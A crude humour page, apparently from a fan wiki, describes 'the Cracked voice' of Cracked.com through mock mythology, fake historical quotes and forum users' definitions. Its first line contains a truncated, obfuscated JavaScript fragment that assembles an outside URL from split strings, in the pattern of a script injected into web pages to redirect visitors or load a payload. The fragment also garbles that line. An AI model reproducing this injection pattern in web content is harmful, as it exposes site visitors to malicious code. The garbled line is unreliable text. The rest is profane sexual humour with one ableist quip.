The Cracked Voice

"I cannot speak, but you will listen to me." - The Voice.)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=d

Just The Facts

  1. The Cracked voice, like The Matrix, has you.
  2. The Cracked voice is better than The Matrix.
  3. Unlike the Matrix, the Cracked voice will never have a sequel. (And if it did, it wouldn't suck.)

Cracked on the Cracked Voice

So what exactly is 'the Cracked voice'? Mankind has wrestled with that question for centuries like a Gordian Knot of mystique and intrigue bundled up in a yarn of dick jokes. The Voice is not simply the literary style of Cracked.com, "America's only humor & video site, since 1958". Cracked.com is merely a temple where so many come to worship--and yes, even sacrifice--in the name of something greater than lines of code or cleavage. Its staff are high priests/ Jedi Masters, custodian to a power as great as The Force itself. Its moderators, Jedi Knights. Its readers, Padawans.

Staff

Cracked Editorial.

The Voice is the power which guides their actions, separating the corrupt from the incorruptible. It has turned ideas into epics, random pictures into masterpieces, given life to entire sagas that have only begun to demonstrate their power. Its forums are not a Colosseum for dispute, but a haven for enlightenment, reconciliation, and even redemption. It is where we meet the grandchild of the Cracked voice: the Cracked reader's voice (and let's be fair, sometimes the comments section is as awesome as the Voice itself.)

The comments section for '5 Ridiculous Things You Probably Believe About Islam.'

However, to continue discussing such Earthly elements of the Cracked voice would be myopic. The Voice is a power greater than anything the Internet and its users/ midi-chlorians have to offer.

The Sexy Sisters

So where exactly does the Voice come from? Why, the Muses, of course--nine sexy sisters who have influenced writers, artists, and entertainers for millenia. They are the product of Zeus after his repeated games of hide-the-salami with Mnemosyne, the ancient personification of "Memory". Yeah, it kinda sucks to picture an asshole like Zeus getting it on with Cracked's grandmother, but we really can't hold it against him. Mnemosyne was pretty hot.

Cracked's grandmother.

Out of Mnemosyne's shapely hips emerged nine equally shapely sisters, who have been the subject of prayers from every poet, performer, and screenwriter from Homer to the Coen Brothers. There are many reasons why one would like to receive a visit from these graces (preferable all nine of them at once), but the Cracked voice draws its breath from the songs of two of them: Thalia and Calliope, the Muses of Comedy and Epic Poetry.

Thalia and Calliope.

Take our word for it; they would have totally kissed for this picture if they were anything like their cousin Serendipity.

The surest cure for writer's block.

The Cracked Voice Throughout History

The Bible:

"lol" - Solomon

Homer:

"What the fuck?"

Jesus of Nazareth:

"Hey, Judas! Eat me!"

Dante Alighieri:

"Funny as hell!" - Satan

Michelangelo Buonarroti:

"Fuck you, asshole." - Michelangelo & Co.

William Shakespare:

Purveyor of many dick jokes.

Abraham Lincoln:

Dude was supposedly funny as shit.

Groucho Marx:


"We took some pictures of the native girls, but they weren't developed. But we're going back again in a couple of weeks!"

Wow. Seriously, wow.

The Cracked Voice Made Simple

"I always thought of the Cracked voice as that of a slightly sarcastic, funny guy who knows a bunch of interesting trivia...the cool teacher." - Finlander

"Next week, Egyptology starting with Cleopatra's epic blowjobs."

"I always picture the cracked voice coming from an awesome dude. Like, if our man... suddenly found out about a zombie outbreak, he'd be a) extremely excited, b) well prepared, c) the last motherfucker to go down." - djf4

"I only go down on Muses."

"It basically boils down to being so comfortable and familiar with your knowledge that you can't help but make jokes about it when you tell someone." - Vrywolf

"Always forgive your enemies; nothing annoys them so much."

"Deadpan humour, a la Jack Dee, channeling Queen Victoria." - yowhound

"..."

"The only way you'll ever get published." - sublex

"Holy Shit, it did rain at some point. Nostradamus was right!"

"The Cracked voice is kinda like having Aspergers, but not letting it turn you into a relentless douchebag." - ralf23

Pictured: the Fallen.

"A high-school teacher who realizes that the only way to get his students to pay attention is to pepper his [or her] lectures liberally with dick jokes, pictures of titties, and references to popular culture." - PurpleTowel

Pictured: taking things wayyy too far.

"A gigantic hive mind, trying to take over the world through dick jokes." - Pieguy259

Like these two, after hours.